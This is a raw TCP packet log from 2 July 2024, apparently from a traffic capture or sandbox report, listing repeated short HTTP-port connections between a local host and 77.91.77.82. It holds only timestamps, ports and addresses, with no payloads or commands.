Jul 2, 2024 15:28:52.332693100 CEST	80	49911	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:52.332737923 CEST	49911	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:52.337326050 CEST	80	49912	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:53.025192976 CEST	80	49912	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:53.025336981 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:53.143884897 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:53.144328117 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:53.149198055 CEST	80	49912	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:53.149213076 CEST	80	49913	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:53.149281025 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:53.149333000 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:53.149454117 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:53.154232025 CEST	80	49913	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:53.836435080 CEST	80	49913	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:53.836502075 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:53.841955900 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:53.842464924 CEST	49914	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:53.847167015 CEST	80	49913	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:53.847220898 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:53.847250938 CEST	80	49914	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:53.847309113 CEST	49914	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:53.847794056 CEST	49914	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:53.852638960 CEST	80	49914	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:54.548827887 CEST	80	49914	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:54.548983097 CEST	49914	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:54.660224915 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:54.660233021 CEST	49914	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:54.665159941 CEST	80	49915	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:54.665549040 CEST	80	49914	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:54.665673971 CEST	49914	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:54.665774107 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:54.666071892 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:54.670845032 CEST	80	49915	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:55.372700930 CEST	80	49915	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:55.372754097 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:55.376005888 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:55.376351118 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:55.381109953 CEST	80	49916	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:55.381167889 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:55.381382942 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:55.381382942 CEST	80	49915	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:55.381437063 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:55.386230946 CEST	80	49916	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:56.081337929 CEST	80	49916	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:56.081401110 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:56.192212105 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:56.192750931 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:56.197531939 CEST	80	49916	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:56.197561979 CEST	80	49917	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:56.197582006 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:56.197618008 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:56.197848082 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:56.202629089 CEST	80	49917	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:56.900631905 CEST	80	49917	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:56.900707006 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:56.903722048 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:56.903722048 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:56.908643007 CEST	80	49918	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:56.908834934 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:56.909001112 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:56.909203053 CEST	80	49917	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:56.909785986 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:56.914333105 CEST	80	49918	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:57.630610943 CEST	80	49918	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:57.630681038 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:57.737588882 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:57.737983942 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:57.742777109 CEST	80	49918	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:57.742799997 CEST	80	49919	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:57.742845058 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:57.742896080 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:57.743098021 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:57.748389959 CEST	80	49919	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:58.446316004 CEST	80	49919	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:58.446403980 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:58.448998928 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:58.449328899 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:58.454338074 CEST	80	49919	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:58.454401016 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:58.455671072 CEST	80	49920	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:58.455743074 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:58.455971003 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:58.460923910 CEST	80	49920	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:58.844659090 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:58.956707954 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:58.961673975 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:58.961767912 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:58.962032080 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:58.967588902 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:59.682807922 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:59.682936907 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:59.685628891 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:59.685909033 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:59.690849066 CEST	80	49922	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:59.690937996 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:59.691083908 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:59.691468000 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:59.691529989 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:59.695872068 CEST	80	49922	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:59.937256098 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 2, 2024 15:28:59.937324047 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:28:59.942737103 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:00.411782026 CEST	80	49922	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:00.413853884 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:00.519203901 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:00.519203901 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:00.524188995 CEST	80	49923	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:00.524626970 CEST	80	49922	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:00.524725914 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:00.524732113 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:00.525062084 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:00.532557011 CEST	80	49923	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:01.221395969 CEST	80	49923	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:01.224306107 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:01.227792978 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:01.227806091 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:01.232641935 CEST	80	49924	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:01.232858896 CEST	80	49923	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:01.232897997 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:01.233138084 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:01.233371019 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:01.238157034 CEST	80	49924	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:01.971158028 CEST	80	49924	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:01.971230030 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:02.083854914 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:02.084326029 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:02.089221954 CEST	80	49925	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:02.089286089 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:02.089344025 CEST	80	49924	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:02.089391947 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:02.089623928 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:02.094460011 CEST	80	49925	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:02.783808947 CEST	80	49925	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:02.784400940 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:02.786952972 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:02.787331104 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:02.792339087 CEST	80	49925	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:02.792407036 CEST	80	49926	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:02.792444944 CEST	49925	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:02.796170950 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:02.796241999 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:02.802248955 CEST	80	49926	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:03.531526089 CEST	80	49926	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:03.531593084 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:03.645395041 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:03.645699978 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:04.043246031 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:04.625272036 CEST	80	49927	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:04.625291109 CEST	80	49926	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:04.625303030 CEST	80	49926	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:04.625401974 CEST	49926	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:04.625407934 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:04.627870083 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:04.633934975 CEST	80	49927	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:05.370596886 CEST	80	49927	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:05.370666981 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:05.374705076 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:05.375070095 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:05.379815102 CEST	80	49927	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:05.379841089 CEST	80	49928	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:05.379877090 CEST	49927	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:05.379923105 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:05.380139112 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:05.384881020 CEST	80	49928	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:06.071285963 CEST	80	49928	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:06.071363926 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:06.176228046 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:06.176628113 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:06.181468964 CEST	80	49929	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:06.181536913 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:06.181658030 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:06.181983948 CEST	80	49928	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:06.182037115 CEST	49928	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:06.186480045 CEST	80	49929	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:06.906611919 CEST	80	49929	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:06.909843922 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:06.912883997 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:06.912883997 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:06.917817116 CEST	80	49930	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:06.918661118 CEST	80	49929	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:06.918699980 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:06.918699980 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:06.919218063 CEST	49929	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:06.923507929 CEST	80	49930	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:07.641079903 CEST	80	49930	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:07.641132116 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:07.754196882 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:07.754513025 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:07.763889074 CEST	80	49931	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:07.763956070 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:07.764199972 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:07.764333010 CEST	80	49930	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:07.764374018 CEST	49930	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:07.769025087 CEST	80	49931	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:08.464374065 CEST	80	49931	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:08.468337059 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:08.471132040 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:08.471139908 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:08.475972891 CEST	80	49932	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:08.476281881 CEST	80	49931	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:08.476468086 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:08.476474047 CEST	49931	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:08.476665020 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:08.481410980 CEST	80	49932	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:09.186330080 CEST	80	49932	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:09.186436892 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:09.299946070 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:09.300211906 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:09.305128098 CEST	80	49933	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:09.305217028 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:09.305345058 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:09.305514097 CEST	80	49932	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:09.305617094 CEST	49932	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:09.310250998 CEST	80	49933	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:10.013618946 CEST	80	49933	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:10.013684988 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:10.017436981 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:10.017800093 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:10.022651911 CEST	80	49934	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:10.022715092 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:10.022809029 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:10.022958040 CEST	80	49933	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:10.022995949 CEST	49933	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:10.028029919 CEST	80	49934	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:10.739799023 CEST	80	49934	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:10.740293026 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:10.849777937 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:10.849786043 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:10.854856968 CEST	80	49935	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:10.855407953 CEST	80	49934	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:10.855510950 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:10.855519056 CEST	49934	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:10.855835915 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:10.860604048 CEST	80	49935	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:11.576519012 CEST	80	49935	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:11.576585054 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:11.580338955 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:11.580758095 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:11.586436033 CEST	80	49935	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:11.586488008 CEST	49935	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:11.586617947 CEST	80	49936	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:11.586687088 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:11.586963892 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:11.591773033 CEST	80	49936	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:12.287761927 CEST	80	49936	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:12.287852049 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:12.393925905 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:12.396316051 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:12.405014038 CEST	80	49937	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:12.408153057 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:12.412048101 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:12.413420916 CEST	80	49936	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:12.415930986 CEST	49936	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:12.417107105 CEST	80	49937	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:13.134480953 CEST	80	49937	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:13.134722948 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:13.139344931 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:13.139344931 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:13.148509979 CEST	80	49938	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:13.148777962 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:13.148905993 CEST	80	49937	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:13.149038076 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:13.149038076 CEST	49937	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:13.153882027 CEST	80	49938	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:13.839082003 CEST	80	49938	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:13.839211941 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:13.958199978 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:13.958693027 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:13.964823008 CEST	80	49938	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:13.964857101 CEST	80	49939	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:13.964870930 CEST	49938	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:13.964930058 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:13.965246916 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:13.970122099 CEST	80	49939	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:14.655769110 CEST	80	49939	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:14.655909061 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:14.658780098 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:14.659800053 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:14.664033890 CEST	80	49939	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:14.664654970 CEST	80	49940	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:14.664727926 CEST	49939	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:14.664834023 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:14.665193081 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:14.670008898 CEST	80	49940	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:15.375452995 CEST	80	49940	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:15.375579119 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:15.491266966 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:15.491684914 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:15.496331930 CEST	80	49940	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:15.496386051 CEST	49940	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:15.496459961 CEST	80	49941	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:15.496524096 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:15.496934891 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:15.501668930 CEST	80	49941	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:16.193334103 CEST	80	49941	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:16.193404913 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:16.198115110 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:16.198999882 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:16.204756975 CEST	80	49942	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:16.204828978 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:16.205065966 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:16.206546068 CEST	80	49941	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:16.206594944 CEST	49941	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:16.210321903 CEST	80	49942	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:16.959683895 CEST	80	49942	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:16.964016914 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:17.081509113 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:17.083790064 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:17.090207100 CEST	80	49942	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:17.090320110 CEST	80	49943	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:17.091847897 CEST	49942	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:17.091852903 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:17.092003107 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:17.096864939 CEST	80	49943	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:17.802474976 CEST	80	49943	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:17.802587032 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:17.805221081 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:17.805561066 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:17.810312033 CEST	80	49943	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:17.810373068 CEST	49943	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:17.810406923 CEST	80	49944	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:17.810467958 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:17.810658932 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:17.815491915 CEST	80	49944	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:18.514868975 CEST	80	49944	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:18.515953064 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:18.628731012 CEST	49945	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:18.628741026 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:18.633908987 CEST	80	49945	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:18.634331942 CEST	80	49944	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:18.634438038 CEST	49945	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:18.634443045 CEST	49944	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:18.634639025 CEST	49945	80	192.168.2.4	77.91.77.82
